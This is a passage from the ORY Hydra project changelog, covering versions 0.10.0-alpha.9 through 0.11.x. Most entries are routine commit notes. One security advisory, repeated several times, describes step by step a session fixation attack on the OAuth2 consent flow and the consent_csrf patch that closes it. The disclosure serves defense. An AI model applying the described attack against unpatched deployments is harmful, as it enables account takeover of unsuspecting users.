Flow: https://hydra/oauth2/auth?client=... 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id`. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malice accesses the original auth code url and appends the consent id: `https://hydra/oauth2/auth?client=...&consent=example-id` 6. As the consent request is granted but not claimed, and because Malice's user agent contains the valid CSRF token, Malice receives an authorize code that is meant to be issued to Bob. 7. Malice can now act on Bob's behalf. For this attack to work, the following preconditions must be met: 1. Malice must be able to convince Bob to access the forged consent url. 2. Malice must be able to convince Bob to grant the forged consent request. 3. Malice must be able to prevent the consent app's redirect after successful consent request acceptance. 4. Malice must be able to perform this attack within the expiry (10 minutes) of the consent request. For these reasons, an exploit for this vulnerability is not likely, but possible. This patch closes the described vulnerability by requiring a `consent_csrf` value additional to the `consent` value in the query parameters of the authorization url. Without that value, the authorization code flow will not be successful. The `consent_csrf` is transmitted out-of-band to the consent app and not accessible to Malice. Let's revisit the example from above: 1. Malice initiates an OAuth 2.0 Authorization Code Flow: https://hydra/oauth2/auth?client=... - Hydra creates the consent request id and an additional CSRF token which is stored in the database and the encrypted cookie. Malice is not able to see the CSRF token. 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id&consent_csrf=csrf_token`. The redirection URL is only accessible to the consent app and Bob's user agent. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malices does not know the value for `consent_csrf`, accessing `https://hydra/oauth2/auth?client=...&consent=example-id` without setting `consent_csrf` causes the request to fail and the consent to be revoked. This patch does not introduce breaking changes. Upgrading to the version which contains this patch does not require any code changes or deployment changes. * Skips parallelization when not using docker ([57d0b12](https://github.com/ory/hydra/commit/57d0b12b0dfbc9c3f75ff0643d9b373ba1b99951)): Previously, databases connected in parallel even when dockertest was skipped - typically in CI environments. This caused issues on those environments. This patch resolves that. * Stops creating client when secret is too short ([#764](https://github.com/ory/hydra/issues/764)) ([f818f85](https://github.com/ory/hydra/commit/f818f857c2015290df5a6ec34c33e8dbee7caedd)), closes [#725](https://github.com/ory/hydra/issues/725): Previously, clients were created despite an error which said that the secret was too short. This patch changes that and improves error output in the CLI as well for this command. * Strips client secret from output when client is public ([#765](https://github.com/ory/hydra/issues/765)) ([439267b](https://github.com/ory/hydra/commit/439267b0e480a888a6e0e0058b24f54f358b1841)), closes [#737](https://github.com/ory/hydra/issues/737): Previously a newly created public client had a secret send with the initial response and this secret was displayed in the CLI. Now it is clear that there is no secret needed for public clients. It is not displayed in the CLI anymore. * Updates license headers ([#793](https://github.com/ory/hydra/issues/793)) ([366ed57](https://github.com/ory/hydra/commit/366ed57d9c39d7601a40b5545f91361e6a2b9f5a)) * Updates text for newsletter signup ([#780](https://github.com/ory/hydra/issues/780)) ([459703f](https://github.com/ory/hydra/commit/459703f9ff39779b4547a5f86e204da32dc63731)): Before newsletter text did not seem to make clear that it is just for security information. * Use existing alpha-lower sequence ([343cb09](https://github.com/ory/hydra/commit/343cb096a713e0dc62cee9ae05f4261d68f58a03)) # [0.11.9](https://github.com/ory/hydra/compare/v0.11.7...v0.11.9) (2018-03-10) metrics: Improves naming of traits (#803) Closes #802 ### Unclassified * Improves naming of traits ([#803](https://github.com/ory/hydra/issues/803)) ([dd06073](https://github.com/ory/hydra/commit/dd060731cab21d2d449f4c55c0c0f5f9b699337e)), closes [#802](https://github.com/ory/hydra/issues/802) # [0.11.7](https://github.com/ory/hydra/compare/v0.11.6...v0.11.7) (2018-03-03) cmd: Adds OpenID Connect refresh handler Previously, it was impossible to refresh OpenID Connect ID Tokens. This is now possible as the factory has been added to the oauth2 factory in the host process. Closes #794 ### Unclassified * Adds OpenID Connect refresh handler ([7594eb4](https://github.com/ory/hydra/commit/7594eb453970403e4b33d024ad9217e670cde537)), closes [#794](https://github.com/ory/hydra/issues/794): Previously, it was impossible to refresh OpenID Connect ID Tokens. This is now possible as the factory has been added to the oauth2 factory in the host process. # [0.11.6](https://github.com/ory/hydra/compare/v0.11.4...v0.11.6) (2018-02-07) oauth2: Resolves possible session fixation attack This patch resolves a vulnerability in the consent flow. This vulnerability affects versions 0.10.0 ~ 0.11.5 only. Versions < 0.10.0 are not affected. The vulnerability can be exploited as follows: 1. Malice initiates an OAuth 2.0 Authorization Code Flow: https://hydra/oauth2/auth?client=... 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id`. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malice accesses the original auth code url and appends the consent id: `https://hydra/oauth2/auth?client=...&consent=example-id` 6. As the consent request is granted but not claimed, and because Malice's user agent contains the valid CSRF token, Malice receives an authorize code that is meant to be issued to Bob. 7. Malice can now act on Bob's behalf. For this attack to work, the following preconditions must be met: 1. Malice must be able to convince Bob to access the forged consent url. 2. Malice must be able to convince Bob to grant the forged consent request. 3. Malice must be able to prevent the consent app's redirect after successful consent request acceptance. 4. Malice must be able to perform this attack within the expiry (10 minutes) of the consent request. For these reasons, an exploit for this vulnerability is not likely, but possible. This patch closes the described vulnerability by requiring a `consent_csrf` value additional to the `consent` value in the query parameters of the authorization url. Without that value, the authorization code flow will not be successful. The `consent_csrf` is transmitted out-of-band to the consent app and not accessible to Malice. Let's revisit the example from above: 1. Malice initiates an OAuth 2.0 Authorization Code Flow: https://hydra/oauth2/auth?client=... - Hydra creates the consent request id and an additional CSRF token which is stored in the database and the encrypted cookie. Malice is not able to see the CSRF token. 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id&consent_csrf=csrf_token`. The redirection URL is only accessible to the consent app and Bob's user agent. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malices does not know the value for `consent_csrf`, accessing `https://hydra/oauth2/auth?client=...&consent=example-id` without setting `consent_csrf` causes the request to fail and the consent to be revoked. This patch does not introduce breaking changes. Upgrading to the version which contains this patch does not require any code changes or deployment changes. ### Unclassified * Resolves possible session fixation attack ([69cc450](https://github.com/ory/hydra/commit/69cc450f3d0079f2e991d89bfdf9efc6260a48d9)): This patch resolves a vulnerability in the consent flow. This vulnerability affects versions 0.10.0 ~ 0.11.5 only. Versions < 0.10.0 are not affected. The vulnerability can be exploited as follows: 1. Malice initiates an OAuth 2.0 Authorization Code Flow: https://hydra/oauth2/auth?client=... 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id`. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malice accesses the original auth code url and appends the consent id: `https://hydra/oauth2/auth?client=...&consent=example-id` 6. As the consent request is granted but not claimed, and because Malice's user agent contains the valid CSRF token, Malice receives an authorize code that is meant to be issued to Bob. 7. Malice can now act on Bob's behalf. For this attack to work, the following preconditions must be met: 1. Malice must be able to convince Bob to access the forged consent url. 2. Malice must be able to convince Bob to grant the forged consent request. 3. Malice must be able to prevent the consent app's redirect after successful consent request acceptance. 4. Malice must be able to perform this attack within the expiry (10 minutes) of the consent request. For these reasons, an exploit for this vulnerability is not likely, but possible. This patch closes the described vulnerability by requiring a `consent_csrf` value additional to the `consent` value in the query parameters of the authorization url. Without that value, the authorization code flow will not be successful. The `consent_csrf` is transmitted out-of-band to the consent app and not accessible to Malice. Let's revisit the example from above: 1. Malice initiates an OAuth 2.0 Authorization Code Flow: https://hydra/oauth2/auth?client=... - Hydra creates the consent request id and an additional CSRF token which is stored in the database and the encrypted cookie. Malice is not able to see the CSRF token. 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id&consent_csrf=csrf_token`. The redirection URL is only accessible to the consent app and Bob's user agent. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malices does not know the value for `consent_csrf`, accessing `https://hydra/oauth2/auth?client=...&consent=example-id` without setting `consent_csrf` causes the request to fail and the consent to be revoked. This patch does not introduce breaking changes. Upgrading to the version which contains this patch does not require any code changes or deployment changes. # [0.11.4](https://github.com/ory/hydra/compare/v0.11.3...v0.11.4) (2018-01-23) docs: Incorporates changes from version v0.11.3 ### Documentation * Incorporates changes from version v0.11.3 ([c9d1bf1](https://github.com/ory/hydra/commit/c9d1bf1aa96b6c1fd8cb440c9c1644edab43fdbe)) # [0.11.3](https://github.com/ory/hydra/compare/v0.11.2...v0.11.3) (2018-01-23) teleme: Improves telemetry module and upgrades to segment 3.0.0 (#752) ### Documentation * Incorporates changes from version v0.11.2 ([bf03815](https://github.com/ory/hydra/commit/bf0381580a56bcd60cef0395158144ea45ce4d7c)) ### Unclassified * Improves telemetry module and upgrades to segment 3.0.0 ([#752](https://github.com/ory/hydra/issues/752)) ([4ef50f3](https://github.com/ory/hydra/commit/4ef50f37fefa35a5903fc8e25043ca5611aa630d)) # [0.11.2](https://github.com/ory/hydra/compare/v0.11.1...v0.11.2) (2018-01-22) oauth2: Protects consent flow against session fixation (#754) Closes #753 ### Unclassified * Protects consent flow against session fixation ([#754](https://github.com/ory/hydra/issues/754)) ([a4b6888](https://github.com/ory/hydra/commit/a4b68886eb4fcbc61c7ec85b9161745f40e0a169)), closes [#753](https://github.com/ory/hydra/issues/753) * Returns 404 only when policy allows getting a client ([#751](https://github.com/ory/hydra/issues/751)) ([7c5786e](https://github.com/ory/hydra/commit/7c5786eb36fff9490611ead36c67afdbc2b7f8bf)) # [0.11.1](https://github.com/ory/hydra/compare/v0.11.0...v0.11.1) (2018-01-18) Resolves issues with pagination (#750) ### Unclassified * Resolves issues with pagination (#750) ([9258083](https://github.com/ory/hydra/commit/9258083ded4211db5b81d4159c2478efa4935a7b)), closes [#750](https://github.com/ory/hydra/issues/750) * Adds method to return ClusterURL without trailing slashes ([#748](https://github.com/ory/hydra/issues/748)) ([9bff6e7](https://github.com/ory/hydra/commit/9bff6e704d1d9b1e0a078633539a552693b4f6b9)), closes [#650](https://github.com/ory/hydra/issues/650) # [0.11.0](https://github.com/ory/hydra/compare/v0.10.10...v0.11.0) (2018-01-08) group: Resolves CI test issues by removing group ### Documentation * Adds documentation on third-party deps ([#728](https://github.com/ory/hydra/issues/728)) ([260aec8](https://github.com/ory/hydra/commit/260aec86fb149c06eb7d60e1224e1b9218a13e07)), closes [#716](https://github.com/ory/hydra/issues/716) * Incorporates changes from version v0.10.10 ([297215f](https://github.com/ory/hydra/commit/297215fb230d01b999292abf36641b2f7c03d5f8)) ### Unclassified * Adds list groups command ([f9d5c75](https://github.com/ory/hydra/commit/f9d5c753d1506c76ea08c21eced847ceb9a32d54)) * Adds ListGroup and limit + offsets ([c0099f3](https://github.com/ory/hydra/commit/c0099f30626f58fe0b71d0f892a267d1e51ec41a)), closes [#732](https://github.com/ory/hydra/issues/732) * Adds offline_access scope alias ([#724](https://github.com/ory/hydra/issues/724)) ([691e598](https://github.com/ory/hydra/commit/691e598e46a23ed12ee3dcaac834582f57fbe051)), closes [#722](https://github.com/ory/hydra/issues/722) * Adds pagination parsing helper ([b0d40b4](https://github.com/ory/hydra/commit/b0d40b4ddaa3c594b0367d81cb90bcdd7bd99712)) * Adds php registry dummy ([#733](https://github.com/ory/hydra/issues/733)) ([e170231](https://github.com/ory/hydra/commit/e1702314b59cdeda58269c87d3711617f9b9166a)) * Prints debug message to logs and evaluate transmitting it to clients too ([#727](https://github.com/ory/hydra/issues/727)) ([40fc5e6](https://github.com/ory/hydra/commit/40fc5e6af0556820dc9216fac10dd33ce560149e)), closes [#715](https://github.com/ory/hydra/issues/715) * Replaces pagination parser with helper ([14ebadf](https://github.com/ory/hydra/commit/14ebadf458305b644e8d8101d7b61a934393cc0b)) * Resolves CI test issues by removing group ([82480e5](https://github.com/ory/hydra/commit/82480e5b6c0ed1815cd5efd669a995f63f650340)) * Stop requiring x-forwarded-proto ([#731](https://github.com/ory/hydra/issues/731)) ([b83541c](https://github.com/ory/hydra/commit/b83541ca23cd1f69543cebe837566d93df0cefa8)), closes [#726](https://github.com/ory/hydra/issues/726) * Updates SDKs to implement list group capabilities ([2e34c36](https://github.com/ory/hydra/commit/2e34c361220c76e7dc0d8a3b6cc91bce72919779)) # [0.10.10](https://github.com/ory/hydra/compare/v0.10.9...v0.10.10) (2017-12-16) docs: Resolves issue with broken 5-minute tutorial Closes #717 ### Documentation * Incorporates changes from version v0.10.9 ([61c4611](https://github.com/ory/hydra/commit/61c4611f4fc35f127ceac8ec1a964215d27b46fd)) * Resolves issue with broken 5-minute tutorial ([1d1b945](https://github.com/ory/hydra/commit/1d1b945494c14ac048d3d6040661c9bf7c761593)), closes [#717](https://github.com/ory/hydra/issues/717) ### Unclassified * Forces use of UTC time everywhere ([4161b61](https://github.com/ory/hydra/commit/4161b61f229fdd52cd7d4a57a4f2f3d79d444174)), closes [#679](https://github.com/ory/hydra/issues/679) * sdk/go: Resolves incorrect error message (#713) ([1290660](https://github.com/ory/hydra/commit/1290660319c9fd798611ec425379ce921e3f0d93)), closes [#713](https://github.com/ory/hydra/issues/713) [#686](https://github.com/ory/hydra/issues/686) * Adds a dedicated command for importing policies ([be54a75](https://github.com/ory/hydra/commit/be54a7578508a522fa161b55c5363daed1c87a0a)), closes [#701](https://github.com/ory/hydra/issues/701) * Adds list of supported auth methods to OIDC discovery ([cba05b4](https://github.com/ory/hydra/commit/cba05b496cb240338046163436b8b912ffd4beee)), closes [#695](https://github.com/ory/hydra/issues/695) * Corrects group scope documentation ([#710](https://github.com/ory/hydra/issues/710)) ([a58624c](https://github.com/ory/hydra/commit/a58624cf6f6dfb12a9f499d55e1612b90099f21a)), closes [#702](https://github.com/ory/hydra/issues/702) * Makes scopes in token command configurable ([#712](https://github.com/ory/hydra/issues/712)) ([ed2bc01](https://github.com/ory/hydra/commit/ed2bc01af55bbc62b77397dc01b8b6e04f7392eb)), closes [#711](https://github.com/ory/hydra/issues/711) * Removes check for authorize code error in auth endpoint ([0d08851](https://github.com/ory/hydra/commit/0d08851268107c2ec842109b45cab2b32156fcd9)) * Removes unknown claims from userinfo endpoint ([7cb4ad2](https://github.com/ory/hydra/commit/7cb4ad28f6571edf2acee76cce673e13ccba330f)) * Sets requested at value in session ([dd1a3f4](https://github.com/ory/hydra/commit/dd1a3f47e4bb4224cd5eec2f72bad06b37b0f86b)) * Updates to fosite 0.15.2 ([05354cb](https://github.com/ory/hydra/commit/05354cb4f32b8e745c0322205bc4434473d49497)): Improves detection of non-conform OIDC authorizations. # [0.10.9](https://github.com/ory/hydra/compare/v0.10.8...v0.10.9) (2017-12-13) pkg: Fixes returning nil instead of empty array in split ### Documentation * Incorporates changes from version v0.10.8 ([a5583f0](https://github.com/ory/hydra/commit/a5583f0afe4c0ff54d4ce35b637bb7612bbbbaf9)) ### Unclassified * Fixes returning nil instead of empty array in split ([e852207](https://github.com/ory/hydra/commit/e852207f698225bee9c2bc58f5aeeb9e7c401151)) # [0.10.8](https://github.com/ory/hydra/compare/v0.10.7...v0.10.8) (2017-12-12) Reintroduces alpine based docker image Closes #703 ### Documentation * Adds introspection breaking change to upgrade guide ([072e54b](https://github.com/ory/hydra/commit/072e54b6f2afbcbd9b1eafedb22b2fc50d2d87f7)) * Incorporates changes from version v0.10.7 ([ad79f6c](https://github.com/ory/hydra/commit/ad79f6ced58066ed52a4a1ba7c489caa440ab2c1)) ### Unclassified * Reintroduces alpine based docker image ([0d47938](https://github.com/ory/hydra/commit/0d47938fe3524060a164f795bd20b8ffa95cf577)), closes [#703](https://github.com/ory/hydra/issues/703) # [0.10.7](https://github.com/ory/hydra/compare/v0.10.6...v0.10.7) (2017-12-09) oauth2: Redirects authorize code errors to consent app ### Documentation * Incorporates changes from version v0.10.6 ([499a1a6](https://github.com/ory/hydra/commit/499a1a6228dba9a8bf361d4b6a32664cfe16cfcd)) ### Unclassified * Hydrates auth time value in id token ([f10e49a](https://github.com/ory/hydra/commit/f10e49ad41b6adc0615187c508b1b139d888bb2a)): This is only a preliminary solution and must be added to the consent flow. * Redirects authorize code errors to consent app ([62547eb](https://github.com/ory/hydra/commit/62547ebabaef67d20c96f845fb7cd984a322e61d)) # [0.10.6](https://github.com/ory/hydra/compare/v0.10.5...v0.10.6) (2017-12-09) oauth2: Adds ability to configure OIDC Discovery ### Unclassified * Adds ability to configure OIDC Discovery ([34c5f30](https://github.com/ory/hydra/commit/34c5f30fd42b890877134cea0549be8a689d9171)) * Adds tests for userinfo endpoint and auth code exchange ([e167aba](https://github.com/ory/hydra/commit/e167abab8d058c6c4777a0cf871a0a7e0d0dfaf5)) * Upgrades to fosite 0.14.2 ([c208020](https://github.com/ory/hydra/commit/c208020b2b114a70cb4ccffee977373672cd4464)) * Upgrades to fosite 0.15.0 ([9e370de](https://github.com/ory/hydra/commit/9e370dea762ffc8c0278605595afd65765685698)): Improves conformity with OpenID Connect Certification. # [0.10.5](https://github.com/ory/hydra/compare/v0.10.4...v0.10.5) (2017-12-09) oauth2: Allows POST for userinfo endpoint ### Documentation * Incorporates changes from version v0.10.4 ([3abcb69](https://github.com/ory/hydra/commit/3abcb69779260eef0752a56b8b2e26c2ba9ca215)) ### Unclassified * Allows POST for userinfo endpoint ([ae3904f](https://github.com/ory/hydra/commit/ae3904fa77ce654b11cea97b1ba189fc6780efe3)) # [0.10.4](https://github.com/ory/hydra/compare/v0.10.3...v0.10.4) (2017-12-09) oauth2: Adds userinfo endpoint and improves OIDC discovery ### Documentation * Incorporates changes from version v0.10.3 ([b2e7a8d](https://github.com/ory/hydra/commit/b2e7a8dfdc08a49317e0b4d7321f459a32a5f294)) ### Unclassified * Adds basic userinfo endpoint ([d404328](https://github.com/ory/hydra/commit/d40432819a54820384b815f4d61a155568e3fb5f)), closes [#652](https://github.com/ory/hydra/issues/652) * Adds userinfo endpoint and improves OIDC discovery ([fabee0d](https://github.com/ory/hydra/commit/fabee0dcafa4056802f9e88492e268e114f03f9d)) # [0.10.3](https://github.com/ory/hydra/compare/v0.10.2...v0.10.3) (2017-12-08) docs: Removes code climate badge ### Documentation * Removes code climate badge ([25a123e](https://github.com/ory/hydra/commit/25a123e5a57e3a8db37639b81e202b17224490fa)) # [0.10.2](https://github.com/ory/hydra/compare/v0.10.1...v0.10.2) (2017-12-08) ci: Adds sudo for install doctoc globally in changelog task ### Continuous Integration * Adds sudo for install doctoc globally in changelog task ([f1fb016](https://github.com/ory/hydra/commit/f1fb01643b7e7065859b4da0d2b19dc83d05be71)) # [0.10.1](https://github.com/ory/hydra/compare/v0.10.0...v0.10.1) (2017-12-08) ci: Resolves permission denied issue in changelog ### Continuous Integration * Resolves permission denied issue in changelog ([0a52ab8](https://github.com/ory/hydra/commit/0a52ab8512ad52e602cf33d184c0b41d3ed7f839)) # [0.10.0](https://github.com/ory/hydra/compare/v0.10.0-alpha.21...v0.10.0) (2017-12-08) ci: Adds git config to changelog task ### Continuous Integration * Adds git config to changelog task ([ad3a1f7](https://github.com/ory/hydra/commit/ad3a1f7ea2c711425afdf3a20b7c3a4f05f4d00f)) ### Documentation * Adds ACP best practices ([#681](https://github.com/ory/hydra/issues/681)) ([c2c9c84](https://github.com/ory/hydra/commit/c2c9c84c48584eab2f8f5166654ae700ebda96f7)) * Adds alt tags to images and resolves markdown typos ([9587754](https://github.com/ory/hydra/commit/9587754c28dc14177d171497ae8f7b551d37c412)) * Adds consent state machine ([7b697b1](https://github.com/ory/hydra/commit/7b697b1298f85264b1077e003cc0cce6a722f222)) * Adds guideline for disclosing vulnerabilities ([1b263ef](https://github.com/ory/hydra/commit/1b263eff7455117b21b74de71d6fcdec8b873996)) * Adds multi-tenant best practices ([#684](https://github.com/ory/hydra/issues/684)) ([e46ff15](https://github.com/ory/hydra/commit/e46ff15224a9a46d87d140eebdc5a2b85cb56898)) * Adds rest calls to consent state diagram ([d3838f7](https://github.com/ory/hydra/commit/d3838f70cf35e69a84e4cbfc15e2b0ef73fcd18d)) * Fixes RS256 -> HS256 typo in upgrade notes ([a477ba7](https://github.com/ory/hydra/commit/a477ba766bc1bb17508f9a87b60df88821ed5de3)) * Fixes SDK links in guide ([d4a9f23](https://github.com/ory/hydra/commit/d4a9f230d8444dd3079feaf4e38724c445a92a11)) * Improves access control section ([3171d41](https://github.com/ory/hydra/commit/3171d41774c63dbc23bfb2dafe4f716bf1695623)), closes [#680](https://github.com/ory/hydra/issues/680) * Improves changelog and release process ([a0cdbb2](https://github.com/ory/hydra/commit/a0cdbb273085051e33a1fbab3b9f460c4d15db85)) * Improves upgrade notes ([4aa82fb](https://github.com/ory/hydra/commit/4aa82fb4503d1d79b84a72d26e2094ea0163b810)) * Make space optional in scope regex ([#661](https://github.com/ory/hydra/issues/661)) ([#668](https://github.com/ory/hydra/issues/668)) ([1a6e445](https://github.com/ory/hydra/commit/1a6e44588f925f0a182d5e7c47fdb900ec5e0f3a)) * Removes adopter list ([e8427aa](https://github.com/ory/hydra/commit/e8427aa5f03c5850258c731901b99c8e9d199749)), closes [#659](https://github.com/ory/hydra/issues/659): Adopters have been removed as most do not want to be publicly identified, in case of security issues with the open source software. * Removes alpha tags from docker images ([c24eb35](https://github.com/ory/hydra/commit/c24eb35fc31c929844152e389d55089339112d01)) * Updates history.md for 0.10.0-alpha.22 release ([df1c91e](https://github.com/ory/hydra/commit/df1c91ef33d8e4f8db1f73b587c29d1ae2114aa8)) * Updates upgrade notes to 0.10.0 ([c939999](https://github.com/ory/hydra/commit/c939999dd7cf3be4a86369cab9c436c1ec00b3ba)) * Use docker network instead of links in installation tutorial ([7963ed0](https://github.com/ory/hydra/commit/7963ed0908a41db0fc3452960dbc701ab202a597)), closes [#555](https://github.com/ory/hydra/issues/555) ### Unclassified * Makes policy resource names prefixes configurable (#672) ([aee603b](https://github.com/ory/hydra/commit/aee603b42bb1eb47a3c68042a470ab47641d8863)), closes [#672](https://github.com/ory/hydra/issues/672) * Adds storing subject in token tables ([#674](https://github.com/ory/hydra/issues/674)) ([7d5d857](https://github.com/ory/hydra/commit/7d5d857b7a3149e609a0e9e98a9aba5732c2508f)), closes [#658](https://github.com/ory/hydra/issues/658) * Adds test for LogError ([#682](https://github.com/ory/hydra/issues/682)) ([9fb69ee](https://github.com/ory/hydra/commit/9fb69ee947feb0a372343b1af474b1b191229272)) * Fixes clients being able to revoke any token ([#677](https://github.com/ory/hydra/issues/677)) ([df8e6eb](https://github.com/ory/hydra/commit/df8e6eb72951e9bcceaf48faccee77c5453b3ffb)), closes [#676](https://github.com/ory/hydra/issues/676) * Removes incorrect audience field from introspection response ([c630f8e](https://github.com/ory/hydra/commit/c630f8e01b0d410107b7c75dfdb67b341781067d)) * Renames ES521 key generation algorithm to ES512 ([233aa79](https://github.com/ory/hydra/commit/233aa7979e19c4c2322546752c99d142ba8d8dc6)), closes [#651](https://github.com/ory/hydra/issues/651) * Requires firewall check for introspecting access tokens ([#678](https://github.com/ory/hydra/issues/678)) ([f5b6558](https://github.com/ory/hydra/commit/f5b6558c72a684f53b3373bf51188c470d2bfd97)) * Update telemetry identification ([#654](https://github.com/ory/hydra/issues/654)) ([84bcd68](https://github.com/ory/hydra/commit/84bcd68fa17e606fc8b7ce2258e52bfff46fcf95)) * Updates CLI outputs and adds newlines ([0a54cdf](https://github.com/ory/hydra/commit/0a54cdf247b6f262be4c1555ff852522f67ec2ed)) # [0.10.0-alpha.21](https://github.com/ory/hydra/compare/v0.10.0-alpha.20...v0.10.0-alpha.21) (2017-11-27) cmd: Fix 'hydra policies subjects remove <policy> <subject>' adding the subject instead. (#665) Signed-off-by: James Nicolas <[email protected]> ### Unclassified * Fix 'hydra policies subjects remove <policy> <subject>' adding the subject instead. ([#665](https://github.com/ory/hydra/issues/665)) ([766fb99](https://github.com/ory/hydra/commit/766fb99d9d571618032d522c8aecee94c17c7d1f)) # [0.10.0-alpha.20](https://github.com/ory/hydra/compare/v0.10.0-alpha.19...v0.10.0-alpha.20) (2017-11-26) cmd: Added cors support to host process Closes #506 ### Unclassified * Added cors support to host process ([1c696d2](https://github.com/ory/hydra/commit/1c696d2c9e706af48da80d4f79683887c0b038b1)), closes [#506](https://github.com/ory/hydra/issues/506) # [0.10.0-alpha.19](https://github.com/ory/hydra/compare/v0.10.0-alpha.18...v0.10.0-alpha.19) (2017-11-26) vendor: Upgraded ladon and dockertest versions ### Documentation * Update hydra versions ([9b39795](https://github.com/ory/hydra/commit/9b3979594bd57ed3bd3bdb68911d73ee8e03d357)) ### Unclassified * Make low entropy RSA key generation explicit in function name ([bb960fe](https://github.com/ory/hydra/commit/bb960fe9952d4f214bb6e7d5fe89bcc4aeb8d259)) * Upgraded ladon and dockertest versions ([0a83f1b](https://github.com/ory/hydra/commit/0a83f1bb87220110a22dd640386add598eb7d6e5)) # [0.10.0-alpha.18](https://github.com/ory/hydra/compare/v0.10.0-alpha.17...v0.10.0-alpha.18) (2017-11-06) ci: Use sudo to update npm in release job ### Continuous Integration * Use sudo to update npm in release job ([d67d703](https://github.com/ory/hydra/commit/d67d703f47cb49db64bdf7c4fd14d811c2a30fda)) # [0.10.0-alpha.17](https://github.com/ory/hydra/compare/v0.10.0-alpha.16...v0.10.0-alpha.17) (2017-11-06) ci: Upgrade npm in release job ### Continuous Integration * Upgrade npm in release job ([dd8a20d](https://github.com/ory/hydra/commit/dd8a20dd733894d6f25be7101a00b9c88bb2908d)) # [0.10.0-alpha.16](https://github.com/ory/hydra/compare/v0.10.0-alpha.15...v0.10.0-alpha.16) (2017-11-06) ci: Fix typo in workflow job ### Continuous Integration * Fix typo in workflow job ([de53535](https://github.com/ory/hydra/commit/de535356febdf0aadc05d8f318829e14a298f6a8)) ### Documentation * Update history release notes ([e78c37e](https://github.com/ory/hydra/commit/e78c37e5126c7e1f4e1fe4d3bea9ab69e31dc147)) * Update history.md to 0.10.0-alpha.15 ([33bf2cc](https://github.com/ory/hydra/commit/33bf2cca7d9d8d269e48c984276505e0e97caa98)) ### Unclassified * Add run command to docker test ([f2ed30f](https://github.com/ory/hydra/commit/f2ed30fb3260edde068eb5437b1b523af9aa8998)) * Fix typo in invalid credentials message ([a69ba65](https://github.com/ory/hydra/commit/a69ba65a158806f41e6937ef187810487b9513f0)) * Resolve static build issues ([811293a](https://github.com/ory/hydra/commit/811293a91c4c67d90bc63cb5a2028a29ba8dd29a)) # [0.10.0-alpha.15](https://github.com/ory/hydra/compare/v0.10.0-alpha.14...v0.10.0-alpha.15) (2017-11-06) docker: Make hydra executable ### Unclassified * Make hydra executable ([93242ce](https://github.com/ory/hydra/commit/93242ce2e25c7df8aa22ed7103199808b6e84e99)) # [0.10.0-alpha.14](https://github.com/ory/hydra/compare/v0.10.0-alpha.13...v0.10.0-alpha.14) (2017-11-06) oauth2: Resolve race condition in consent memory manager Closes #600 ### Unclassified * Resolve race condition in consent memory manager ([39e7dfe](https://github.com/ory/hydra/commit/39e7dfe2ecc2df38aed76faf2f9b1134bf6095e1)), closes [#600](https://github.com/ory/hydra/issues/600) * Resolve race condition in fosite memory manager ([c465e57](https://github.com/ory/hydra/commit/c465e57e0681c56c540dbd8b0670dcf45b45c9e9)) # [0.10.0-alpha.13](https://github.com/ory/hydra/compare/v0.10.0-alpha.12...v0.10.0-alpha.13) (2017-11-06) docker: Stop building from source in docker image (#645) closes #374 ### Unclassified * Stop building from source in docker image ([#645](https://github.com/ory/hydra/issues/645)) ([846799d](https://github.com/ory/hydra/commit/846799db71734202ff1d5358e03b3d87a5cdc3ad)), closes [#374](https://github.com/ory/hydra/issues/374) # [0.10.0-alpha.12](https://github.com/ory/hydra/compare/v0.10.0-alpha.11...v0.10.0-alpha.12) (2017-11-06) doc: write history for 0.10.0-alpha.11 ### Documentation * Fix health link in tutorial ([#637](https://github.com/ory/hydra/issues/637)) ([4f3a7cb](https://github.com/ory/hydra/commit/4f3a7cb4970436816518f7a2796d2aee21693062)) ### Unclassified * Add license header to all source files (#644) ([dcbd6d8](https://github.com/ory/hydra/commit/dcbd6d8fcb32a643732ad97656d35e4eda2ddfaf)), closes [#644](https://github.com/ory/hydra/issues/644) [#643](https://github.com/ory/hydra/issues/643) * Require url-encoding of root client id and secret ([#641](https://github.com/ory/hydra/issues/641)) ([232caa7](https://github.com/ory/hydra/commit/232caa77062adbf2350c017f718e42674e6e615b)) * Write history for 0.10.0-alpha.11 ([8c12bf1](https://github.com/ory/hydra/commit/8c12bf16bcd2a13d35e26db4e2534e8a9684315f)) # [0.10.0-alpha.10](https://github.com/ory/hydra/compare/v0.10.0-alpha.9...v0.10.0-alpha.10) (2017-10-26) ci: use node 8.x branch with npm for publish ### Continuous Integration * Use node 8.x branch with npm for publish ([3175a70](https://github.com/ory/hydra/commit/3175a70aae809669162044dae7d6cd02621a3552)) ### Documentation * Update build status badge in readme to circleci ([c5e0622](https://github.com/ory/hydra/commit/c5e06223a05ea98365e8dfad05c8d78ccac41fec)) # [0.10.0-alpha.9](https://github.com/ory/hydra/compare/v0.10.0-alpha.8...v0.10.0-alpha.9) (2017-10-25) tests: resolve issue with postgresql connectivity ### Documentation * Fix bash command and version used in tutorial 